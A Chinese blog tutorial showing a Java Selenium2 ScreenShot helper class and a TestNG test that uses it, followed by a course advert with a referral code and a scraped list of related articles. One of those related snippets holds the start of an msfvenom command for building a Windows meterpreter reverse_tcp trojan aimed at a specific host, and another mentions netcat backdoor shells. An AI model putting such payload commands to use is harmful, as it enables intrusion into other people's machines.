selenium2截图ScreenShot的使用
截图是做测试的基本技能,在有BUG的地方,截个图,保留失败的证据,也方便去重现BUG。所以,在自动化的过程中,也要能截图,也要能在我们想要截取的地方去截图,且能在错误产生时,自动的截图。
示例:
脚本中的调用:
错误时截图:
提示:结合testng的监听器,来实现错误时截图,在之后的博客中会做介绍。
具体代码如下:
ScreenShot.java文件:
package com.selenium.utils; import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date; import org.apache.commons.io.FileUtils;
import org.openqa.selenium.OutputType;
import org.openqa.selenium.TakesScreenshot;
import org.openqa.selenium.WebDriver; public class ScreenShot {
public WebDriver driver; public ScreenShot(WebDriver driver) {
this.driver = driver;
} public void takeScreenShot(String screenPath) {
try {
File srcFile = ((TakesScreenshot) driver)
.getScreenshotAs(OutputType.FILE);
FileUtils.copyFile(srcFile, new File(screenPath));
} catch (IOException e) {
System.out.println("Screen shot error: " + screenPath);
}
} public void takeScreenShot() {
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
String screenName = String.valueOf(sdf.format(new Date().getTime())
+ ".jpg");
File dir = new File("test-output/snapshot");
if (!dir.exists()) {
dir.mkdir();
}
String screenPath = dir.getAbsolutePath() + File.separator + screenName;
this.takeScreenShot(screenPath);
}
}
代码中的使用方式:
package com.selenium.test; import org.junit.Assert;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.testng.annotations.DataProvider;
import org.testng.annotations.Test; import com.selenium.utils.Assertion;
import com.selenium.utils.Log;
import com.selenium.utils.ScreenShot; public class testAssertion {
public static WebDriver Driver; @Test(dataProvider = "name")
public void testBaidu(String text) {
startFireFox("http://baidu.com");
System.out.println(text);
Driver.findElement(By.id("kw")).sendKeys(text);
ScreenShot image = new ScreenShot(Driver);
image.takeScreenShot();
closeFireFox();
} @DataProvider
public Object[][] name() {
return new Object[][] { { "zhangSan" }, { "liSi" } };
} public static void startFireFox(String url) {
Driver = new FirefoxDriver();
Driver.manage().window().maximize();
Driver.navigate().to(url);
} public static void closeFireFox() {
Driver.close();
}
}
最后打个广告,不要介意哦~
最近我在Dataguru学了《软件自动化测试Selenium2》网络课程,挺不错的,你可以来看看!要是想报名,可以用我的优惠码 G863,立减你50%的固定学费!
链接:http://www.dataguru.cn/invite.php?invitecode=G863
selenium2截图ScreenShot的使用的更多相关文章
- selenium3 + python - 异常处理截图 screenshot
一.截图方法 1.get_screenshot_as_file(self, filename) --这个方法是获取当前window的截图,出现IOError时候返回False,截图成功返回True. ...
- C#爬虫(03):使用Selenium
一.介绍: Selenium 是一个用于Web应用程序测试的工具.Selenium测试直接运行在浏览器中,就像真正的用户在操作一样. 1.Selenium Webdriver(也就是Selenium2 ...
- [转]vim ruby等的ide设置
使用vim做rails开发,推荐这个 https://github.com/carlhuda/janus 1. vim下的Rails常用插件 首先列出我比较常用的vim插件,基本都是网上提到的哪些.必 ...
- Msf的一些常用操作
payload的几个常用生成 生成windows下的反弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPOR ...
- ubuntu14.04 VIM for python 一键配置
# 超强vim配置文件 [](https://travis-ci. ...
- 2017-2018-2 20155315《网络对抗技术》Exp2:后门原理与实践
实验目的 学习建立一个后门连接. 教程 实验内容 使用netcat获取主机操作Shell,cron启动. 使用socat获取主机操作Shell, 任务计划启动. 使用MSF meterpreter(或 ...
- metasploit msfconsole 命令
metasploit msfconsole 命令 msf > help db_autopwn Commands =================== Command Description - ...
- java selenium 自动化笔记-不是0基础,至少有java基础
本来今天要学GitHub的,但是在群里问了下小伙伴时被暴击.说我学的东西太多太杂,不是很深入,都是皮毛.哎~自己早深有意识到,因个人能力吧,找的资料都不是很全,加上实际工作没有应用到.所以写一篇sel ...
- requests-html库render的使用
一.render的使用 from requests_html import HTMLSession session =HTMLSession() response = session.get('htt ...
随机推荐
- 低版本Firefox支持innerText属性兼容方法
FireFox支持innerText属性了,很遗憾是44.0.2版本以下还需要兼容处理. 方法一: innerHTML是符合W3C标准的属性,而innerText只适用于IE浏览器,因此,尽可能地去使 ...
- javascript中两种基本常用排序算法分析
备注:内容大部分从网上复制,代码为自己手写.仅做知识的温故知新,并非原创. 1.冒泡排序(Bubble Sort) (1)算法描述 冒泡排序是一种简单的排序算法.它重复地走访过要排序的数列,一次比较两 ...
- Yii2 的快速配置 api 服务 yii2-fast-api
yii2-fast-api yii2-fast-api是一个Yii2框架的扩展,用于配置完善Yii2,以实现api的快速开发. 此扩展默认的场景是APP的后端接口开发,因此偏向于实用主义,并未完全采用 ...
- python3操作mysql数据库表01(封装查询单条、多条数据)
#!/usr/bin/env python# -*- coding:UTF-8 -*- import pymysql# import os'''封装查询单条.多条数据'''# os.environ[' ...
- vue分环境打包配置不同命令
1.安装cross-env (cross-env能跨平台地设置及使用环境变量)cnpm/npm i cross-env -D 2.新建模板 红色的为相关文件 3.配置各个文件 (1)config下 ...
- 关于“为何Unicode中文字符占取2个字节,而 UTF-8却占3个字节”的网络解释修正
学到编码时,有个疑问——好好的占2字节的Unicode不用,却要用占3字节的UTF-8编码.发明 UTF-8的初衷不就是为了修正Unicode中任何字符至少占用2个字节的弊端吗? 虽然UTF-8英文字 ...
- 卓越管理的秘密(Behind Closed Doors)
或许提到本书甚至本书的作者Johanna Rothman我们会感到些许陌生,那么提起她的另一本获得素有软件界奥斯卡之称的Jolt生产效率大奖的名著<项目管理修炼之道>,会不会惊讶的发现,原 ...
- unity热更新方案对比
Unity应用的iOS热更新 • 什么是热更新 • 为何要热更新 • 怎样在iOS 上对Unity 应用进行热更新 • 支持Unity iOS 热更新的各种Lua 插件的对照 什么是热更新 • ...
- [VC]ocx控件怎么屏蔽backspace的后退键
<script Language=javascript> function document.onkeydown() { if(window.event.keyCode = ...
- CF Gym 100187J Deck Shuffling (dfs判连通)
题意:给你一堆牌,和一些洗牌机,可以改变牌的顺序,问你能不能通过洗牌机把数字为x的牌洗到第一个位置. 题解:反向建边,dfs判断连通性 #include<cstdio> #include& ...